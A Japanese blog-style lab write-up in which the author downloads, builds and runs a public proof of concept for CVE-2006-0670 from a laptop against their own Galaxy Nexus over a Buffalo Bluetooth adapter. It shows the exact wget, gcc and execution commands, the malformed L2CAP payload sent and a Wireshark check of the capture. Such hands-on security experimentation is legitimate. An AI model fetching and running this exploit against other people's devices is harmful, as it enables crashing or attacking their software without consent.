CVE-2006-0670 の実証コードを使って Bluetooth データを送信してみる

この日記には、CVE-2006-0670実証コードを使って、市販の Bluetooth アダプタで Bluetooth データを送信できるか試した結果をまとめました。
無線 LAN(IEEE 802.11)で任意の無線 LAN フレームを送信する場合、無線 LAN アダプタを吟味する必要があります*1。そのため、無線通信の Bluetooth で同様のことを行う場合も、Bluetooth アダプタを吟味する必要があると考えていました。ところが、調べてみるとその必要はないようです。そこで、実際に自宅で使っていた Bluetooth アダプタで試してみました。

実証環境

この日記の実証環境は、下図となります。この実証環境では、Kali Linux 1.0.4 上で CVE-2006-0670 の実証コードを実行して、ノート PC から Galaxy Nexus(SC-04D) に対して Bluetooth データの送信を試しました。この実証環境について、次の 2 点を補足します。

  • Bluetooth アダプタに Buffalo 製「BSHSBD04BK」を使う
  • 実証コードをビルドするためには、libbluetooth-dev パッケージが必要である
    • Kali 1.0.4 には初期状態でインストールされている


実証結果

この実証環境で CVE-2006-0670 の実証コードを実行したところ、Buffalo 製「BSHSBD04BK」で Bluetooth データを送信できました。具体的な実証手順を後述します。

実証手順

Bluetooth データの送信を試すために、実証環境で次の 1 から 3 の手順を実施しました。

  1. 「BSHSBD04BK」の動作を確認する
  2. 実証コードを実行する
  3. キャプチャデータを確認する
「BSHSBD04BK」の動作を確認する

まず「lsusb」コマンドで「BSHSBD04BK」が認識されていることを確認して、「hciconfig」コマンドで「BSHSBD04BK」の論理インターフェイス hci0 の動作状況を確認しました。このとき、hci0 が DOWN していたため、「hciconfig hci0 up」を実行して hci0 を稼働させました。

# lsusb -d 0a12:0001
Bus 004 Device 002: ID 0a12:0001 Cambridge Silicon Radio, Ltd Bluetooth Dongle (HCI mode)
# hciconfig 
hci0:	Type: BR/EDR  Bus: USB
	BD Address: 00:1B:DC:05:08:CD  ACL MTU: 310:10  SCO MTU: 64:8
	DOWN 
	RX bytes:509 acl:0 sco:0 events:21 errors:0
	TX bytes:317 acl:0 sco:0 commands:18 errors:0
# hciconfig hci0 up
# hciconfig 
hci0:	Type: BR/EDR  Bus: USB
	BD Address: 00:1B:DC:05:08:CD  ACL MTU: 310:10  SCO MTU: 64:8
	UP RUNNING 
	RX bytes:976 acl:0 sco:0 events:39 errors:0
	TX bytes:634 acl:0 sco:0 commands:36 errors:0
実証コードを実行する

実証コードを実行するため、それをダウンロードしてビルドしました。実証コードを実行するときには、宛先の Bluetooth アドレスを指定します。

# wget http://www.secuobs.com/hcidump-crash.c
# gcc -lbluetooth hcidump-crash.c -o hcidump-crash
# ./hcidump-crash
./hcidump-crash <btaddr>


実証コードを実行する前に、「hcidump」コマンドを実行しました。これで、hci0 から送受信した Bluetooth データを exploit.dump ファイルに保存できます。

# hcidump -i hci0 -w exploit.dump
HCI sniffer - Bluetooth packet analyzer ver 2.4
btsnoop version: 1 datalink type: 1002
device: hci0 snap_len: 1028 filter: 0x0


準備が整ったので、実証コードを実行しました。実行すると、下記のような出力結果を得ました。実証コードの実行が完了したら、先に実行した「hcidump」も終了させます。

# ./hcidump-crash fc:c7:34:b7:de:ae
L2CAP packet sent (15)
Buffer:	08 01 0C 00 41 41 41 41 41 41 41 41 41 41 41 
キャプチャデータを確認する

最後に、exploit.dump に保存した Bluetooth データを Wireshark で確認しました。Wireshark で確認したところ、130 個の Bluetooth データを確認できました。この Bluetooth データの中に、実証コード出力結果で得られたバイト列「08 01 0C 00 41 41 41 41 41 41 41 41 41 41 41」を含むデータを確認できました。以上のことから、「BSHSBD04BK」で Bluetooth データを送信できたと判断しました。

まとめ

「BSHSBD04BK」以外の Bluetooth アダプタで試せていないため、残念ながら「任意のアダプタで Bluetooth データを送信できる」とは言えません。しかし、適当に購入していたアダプタで Bluetooth データを送信できたため、無線 LAN アダプタに比べると、任意の Bluetooth データを送信する敷居が低そうです。

関連情報

*1:任意の無線 LAN フレームを送信できるチップセットを搭載した無線 LAN アダプタ、そのチップセットに対応したドライバを吟味する必要があります。無線 LAN アダプタとドライバを吟味するうえで、「無線LANセキュリティの教科書2014」や「HackerJapan 2013年9月号」などが参考になります。